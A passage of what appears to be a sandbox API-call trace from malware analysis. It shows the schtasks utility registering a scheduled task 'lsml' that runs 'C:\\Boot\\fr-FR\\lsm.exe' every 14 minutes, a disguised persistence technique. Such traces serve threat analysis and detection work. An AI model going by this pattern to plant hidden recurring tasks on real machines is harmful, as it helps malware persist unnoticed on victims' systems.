_Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.380] lstrlenW (lpString="|tn|") returned 4 [0083.380] lstrlenW (lpString="|f|") returned 3 [0083.380] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0083.380] SetLastError (dwErrCode=0x490) [0083.380] lstrlenW (lpString="tr") returned 2 [0083.380] lstrlenW (lpString="tr") returned 2 [0083.381] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.381] lstrlenW (lpString="f") returned 1 [0083.381] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.381] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.381] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.381] lstrlenW (lpString="|tr|") returned 4 [0083.381] lstrlenW (lpString="|f|") returned 3 [0083.381] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0083.381] SetLastError (dwErrCode=0x490) [0083.381] lstrlenW (lpString="st") returned 2 [0083.381] lstrlenW (lpString="st") returned 2 [0083.381] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.381] lstrlenW (lpString="f") returned 1 [0083.381] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.381] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|st|") returned 4 [0083.381] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.381] lstrlenW (lpString="|st|") returned 4 [0083.381] lstrlenW (lpString="|f|") returned 3 [0083.381] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0083.381] SetLastError (dwErrCode=0x490) [0083.381] lstrlenW (lpString="sd") returned 2 [0083.381] lstrlenW (lpString="sd") returned 2 [0083.381] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.381] lstrlenW (lpString="f") returned 1 [0083.381] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.381] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sd|") returned 4 [0083.381] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.381] lstrlenW (lpString="|sd|") returned 4 [0083.381] lstrlenW (lpString="|f|") returned 3 [0083.382] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0083.382] SetLastError (dwErrCode=0x490) [0083.382] lstrlenW (lpString="ed") returned 2 [0083.382] lstrlenW (lpString="ed") returned 2 [0083.382] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.382] lstrlenW (lpString="f") returned 1 [0083.382] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.382] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|ed|") returned 4 [0083.382] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.382] lstrlenW (lpString="|ed|") returned 4 [0083.382] lstrlenW (lpString="|f|") returned 3 [0083.382] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0083.382] SetLastError (dwErrCode=0x490) [0083.382] lstrlenW (lpString="it") returned 2 [0083.382] lstrlenW (lpString="it") returned 2 [0083.382] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.382] lstrlenW (lpString="f") returned 1 [0083.382] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.382] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|it|") returned 4 [0083.382] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.382] lstrlenW (lpString="|it|") returned 4 [0083.382] lstrlenW (lpString="|f|") returned 3 [0083.382] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0083.382] SetLastError (dwErrCode=0x490) [0083.382] lstrlenW (lpString="et") returned 2 [0083.382] lstrlenW (lpString="et") returned 2 [0083.382] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.382] lstrlenW (lpString="f") returned 1 [0083.382] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.383] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|et|") returned 4 [0083.383] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.383] lstrlenW (lpString="|et|") returned 4 [0083.383] lstrlenW (lpString="|f|") returned 3 [0083.383] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0083.383] SetLastError (dwErrCode=0x490) [0083.383] lstrlenW (lpString="k") returned 1 [0083.383] lstrlenW (lpString="k") returned 1 [0083.383] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.383] lstrlenW (lpString="f") returned 1 [0083.383] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.383] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|k|") returned 3 [0083.383] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.383] lstrlenW (lpString="|k|") returned 3 [0083.383] lstrlenW (lpString="|f|") returned 3 [0083.383] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0083.383] SetLastError (dwErrCode=0x490) [0083.383] lstrlenW (lpString="du") returned 2 [0083.383] lstrlenW (lpString="du") returned 2 [0083.383] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.383] lstrlenW (lpString="f") returned 1 [0083.383] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.383] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|du|") returned 4 [0083.383] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.383] lstrlenW (lpString="|du|") returned 4 [0083.383] lstrlenW (lpString="|f|") returned 3 [0083.383] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0083.383] SetLastError (dwErrCode=0x490) [0083.383] lstrlenW (lpString="ri") returned 2 [0083.383] lstrlenW (lpString="ri") returned 2 [0083.383] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.384] lstrlenW (lpString="f") returned 1 [0083.384] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.384] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|ri|") returned 4 [0083.384] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.384] lstrlenW (lpString="|ri|") returned 4 [0083.384] lstrlenW (lpString="|f|") returned 3 [0083.384] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0083.384] SetLastError (dwErrCode=0x490) [0083.384] lstrlenW (lpString="z") returned 1 [0083.384] lstrlenW (lpString="z") returned 1 [0083.384] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.384] lstrlenW (lpString="f") returned 1 [0083.384] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.384] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|z|") returned 3 [0083.384] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.384] lstrlenW (lpString="|z|") returned 3 [0083.384] lstrlenW (lpString="|f|") returned 3 [0083.384] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0083.384] SetLastError (dwErrCode=0x490) [0083.384] lstrlenW (lpString="f") returned 1 [0083.384] lstrlenW (lpString="f") returned 1 [0083.384] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.384] lstrlenW (lpString="f") returned 1 [0083.384] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.384] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.384] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.384] lstrlenW (lpString="|f|") returned 3 [0083.384] lstrlenW (lpString="|f|") returned 3 [0083.384] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0083.384] SetLastError (dwErrCode=0x0) [0083.384] SetLastError (dwErrCode=0x0) [0083.385] GetProcessHeap () returned 0x360000 [0083.385] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37ce10 [0083.385] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.385] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0083.385] lstrlenW (lpString="MINUTE") returned 6 [0083.385] GetProcessHeap () returned 0x360000 [0083.385] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xe) returned 0x37d660 [0083.385] GetThreadLocale () returned 0x409 [0083.385] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0083.385] SetLastError (dwErrCode=0x0) [0083.385] GetProcessHeap () returned 0x360000 [0083.385] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x1fc) returned 0x37c450 [0083.385] GetProcessHeap () returned 0x360000 [0083.385] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cde0 [0083.385] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.385] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0083.385] lstrlenW (lpString="First") returned 5 [0083.385] GetProcessHeap () returned 0x360000 [0083.385] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xc) returned 0x37d680 [0083.385] GetProcessHeap () returned 0x360000 [0083.385] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cdb0 [0083.385] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.385] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0083.385] lstrlenW (lpString="Second") returned 6 [0083.385] GetProcessHeap () returned 0x360000 [0083.385] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xe) returned 0x37d6a0 [0083.385] GetProcessHeap () returned 0x360000 [0083.385] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cd80 [0083.386] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.386] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0083.386] lstrlenW (lpString="Third") returned 5 [0083.386] GetProcessHeap () returned 0x360000 [0083.386] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xc) returned 0x37d6c0 [0083.386] GetProcessHeap () returned 0x360000 [0083.386] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cd50 [0083.386] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.386] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0083.386] lstrlenW (lpString="Fourth") returned 6 [0083.386] GetProcessHeap () returned 0x360000 [0083.386] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xe) returned 0x37d6e0 [0083.386] GetProcessHeap () returned 0x360000 [0083.386] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cd20 [0083.386] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.386] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0083.386] lstrlenW (lpString="Last") returned 4 [0083.386] GetProcessHeap () returned 0x360000 [0083.386] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xa) returned 0x37d700 [0083.386] lstrlenW (lpString="14") returned 2 [0083.386] _wtol (_String="14") returned 14 [0083.386] GetProcessHeap () returned 0x360000 [0083.386] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37ccf0 [0083.386] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.386] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0083.386] lstrlenW (lpString="First") returned 5 [0083.386] GetProcessHeap () returned 0x360000 [0083.386] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xc) returned 0x37d720 [0083.386] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.386] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0083.386] lstrlenW (lpString="Second") returned 6 [0083.387] GetProcessHeap () returned 0x360000 [0083.387] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xe) returned 0x37d740 [0083.387] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.387] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0083.387] lstrlenW (lpString="Third") returned 5 [0083.387] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.387] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0083.387] lstrlenW (lpString="Fourth") returned 6 [0083.387] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.387] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0083.387] lstrlenW (lpString="Last") returned 4 [0083.387] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c2c0, cchData=128 | out: lpLCData="0") returned 2 [0083.387] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.387] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0083.387] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0083.387] GetProcessHeap () returned 0x360000 [0083.387] GetProcessHeap () returned 0x360000 [0083.387] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d680) returned 1 [0083.387] GetProcessHeap () returned 0x360000 [0083.387] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d680) returned 0xc [0083.387] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d680 | out: hHeap=0x360000) returned 1 [0083.387] GetProcessHeap () returned 0x360000 [0083.387] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x16) returned 0x37d680 [0083.387] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c2e0, cchData=128 | out: lpLCData="0") returned 2 [0083.387] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.388] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0083.388] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0083.388] GetProcessHeap () returned 0x360000 [0083.388] GetProcessHeap () returned 0x360000 [0083.388] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d6a0) returned 1 [0083.388] GetProcessHeap () returned 0x360000 [0083.388] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d6a0) returned 0xe [0083.388] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d6a0 | out: hHeap=0x360000) returned 1 [0083.388] GetProcessHeap () returned 0x360000 [0083.388] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x16) returned 0x37d6a0 [0083.388] GetLocalTime (in: lpSystemTime=0x25c510 | out: lpSystemTime=0x25c510*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x7, wMilliseconds=0x2e7)) [0083.388] lstrlenW (lpString="") returned 0 [0083.388] GetLocalTime (in: lpSystemTime=0x25cdc8 | out: lpSystemTime=0x25cdc8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x7, wMilliseconds=0x2e7)) [0083.388] lstrlenW (lpString="") returned 0 [0083.388] lstrlenW (lpString="") returned 0 [0083.388] lstrlenW (lpString="") returned 0 [0083.388] lstrlenW (lpString="") returned 0 [0083.388] lstrlenW (lpString="14") returned 2 [0083.388] _wtol (_String="14") returned 14 [0083.388] lstrlenW (lpString="") returned 0 [0083.388] lstrlenW (lpString="") returned 0 [0083.388] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0083.406] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0083.476] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x25cb90 | out: ppv=0x25cb90*=0xcdee0) returned 0x0 [0083.485] TaskScheduler:ITaskService:Connect (This=0xcdee0, serverName=0x25cc70*(varType=0x8, wReserved1=0x25, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x25cc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x25cc50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25cc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0083.576] TaskScheduler:IUnknown:AddRef (This=0xcdee0) returned 0x2 [0083.576] TaskScheduler:ITaskService:GetFolder (in: This=0xcdee0, Path=0x0, ppFolder=0x25cd28 | out: ppFolder=0x25cd28*=0x5f7c70) returned 0x0 [0083.580] TaskScheduler:ITaskService:NewTask (in: This=0xcdee0, flags=0x0, ppDefinition=0x25cd20 | out: ppDefinition=0x25cd20*=0x5f7cc0) returned 0x0 [0083.580] ITaskDefinition:get_Actions (in: This=0x5f7cc0, ppActions=0x25cca0 | out: ppActions=0x25cca0*=0x5f7d80) returned 0x0 [0083.581] IActionCollection:Create (in: This=0x5f7d80, Type=0, ppAction=0x25ccc0 | out: ppAction=0x25ccc0*=0x5f6140) returned 0x0 [0083.581] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.581] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.581] lstrlenW (lpString=" ") returned 1 [0083.581] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0083.581] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0083.582] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0083.582] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0083.582] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0083.582] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0083.582] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0083.582] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0083.582] IUnknown:Release (This=0x5f6140) returned 0x1 [0083.582] IUnknown:Release (This=0x5f7d80) returned 0x1 [0083.582] ITaskDefinition:get_Triggers (in: This=0x5f7cc0, ppTriggers=0x25c820 | out: ppTriggers=0x25c820*=0x5f7ec0) returned 0x0 [0083.582] ITriggerCollection:Create (in: This=0x5f7ec0, Type=1, ppTrigger=0x25c818 | out: ppTrigger=0x25c818*=0x5f61b0) returned 0x0 [0083.582] lstrlenW (lpString="14") returned 2 [0083.582] _vsnwprintf (in: _Buffer=0x25c7a0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x25c798 | out: _Buffer="PT14M") returned 5 [0083.582] ITrigger:get_Repetition (in: This=0x5f61b0, ppRepeat=0x25c810 | out: ppRepeat=0x25c810*=0x5f6240) returned 0x0 [0083.583] IRepetitionPattern:put_Interval (This=0x5f6240, Interval="PT14M") returned 0x0 [0083.583] IUnknown:Release (This=0x5f6240) returned 0x1 [0083.583] _vsnwprintf (in: _Buffer=0x25c760, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x25c738 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0083.583] ITrigger:put_StartBoundary (This=0x5f61b0, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0083.583] lstrlenW (lpString="") returned 0 [0083.583] lstrlenW (lpString="") returned 0 [0083.583] lstrlenW (lpString="") returned 0 [0083.583] lstrlenW (lpString="") returned 0 [0083.583] IUnknown:Release (This=0x5f61b0) returned 0x1 [0083.583] IUnknown:Release (This=0x5f7ec0) returned 0x1 [0083.583] ITaskDefinition:get_Settings (in: This=0x5f7cc0, ppSettings=0x25ccc0 | out: ppSettings=0x25ccc0*=0x5f5f80) returned 0x0 [0083.583] lstrlenW (lpString="") returned 0 [0083.583] IUnknown:Release (This=0x5f5f80) returned 0x1 [0083.584] GetLocalTime (in: lpSystemTime=0x25cb78 | out: lpSystemTime=0x25cb78*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x7, wMilliseconds=0x3b2)) [0083.584] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0083.584] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0083.584] GetUserNameW (in: lpBuffer=0x25cba0, pcbBuffer=0x25cb88 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x25cb88) returned 1 [0083.584] ITaskDefinition:get_RegistrationInfo (in: This=0x5f7cc0, ppRegistrationInfo=0x25cb70 | out: ppRegistrationInfo=0x25cb70*=0x5f7e00) returned 0x0 [0083.585] IRegistrationInfo:put_Author (This=0x5f7e00, Author="") returned 0x0 [0083.585] _vsnwprintf (in: _Buffer=0x25cba0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x25cb38 | out: _Buffer="2023-09-19T17:17:07") returned 19 [0083.585] IRegistrationInfo:put_Date (This=0x5f7e00, Date="") returned 0x0 [0083.585] IUnknown:Release (This=0x5f7e00) returned 0x1 [0083.585] malloc (_Size=0x18) returned 0xcdf90 [0083.585] free (_Block=0xcdf90) [0083.585] lstrlenW (lpString="") returned 0 [0083.585] malloc (_Size=0x18) returned 0xcdf90 [0083.586] ITaskFolder:RegisterTaskDefinition (in: This=0x5f7c70, Path="lsml", pDefinition=0x5f7cc0, flags=6, UserId=0x25ce10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25ce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25ed20, varVal2=0xfe), LogonType=3, sddl=0x25ce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x25cd30 | out: ppTask=0x25cd30*=0x5f6400) returned 0x0 [0083.879] free (_Block=0xcdf90) [0083.879] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.879] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0083.879] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0083.879] GetProcessHeap () returned 0x360000 [0083.879] GetProcessHeap () returned 0x360000 [0083.879] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d6c0) returned 1 [0083.879] GetProcessHeap () returned 0x360000 [0083.879] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d6c0) returned 0xc [0083.879] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d6c0 | out: hHeap=0x360000) returned 1 [0083.879] GetProcessHeap () returned 0x360000 [0083.879] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x82) returned 0x399af0 [0083.879] _vsnwprintf (in: _Buffer=0x25d470, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x25ccd8 | out: _Buffer="SUCCESS: The scheduled task \"lsml\" has successfully been created.\n") returned 66 [0083.879] _fileno (_File=0x7feffe22ab0) returned -2 [0083.879] _errno () returned 0x5f4bb0 [0083.879] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0083.880] SetLastError (dwErrCode=0x6) [0083.880] lstrlenW (lpString="SUCCESS: The scheduled task \"lsml\" has successfully been created.\n") returned 66 [0083.880] GetConsoleOutputCP () returned 0x0 [0083.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"lsml\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, 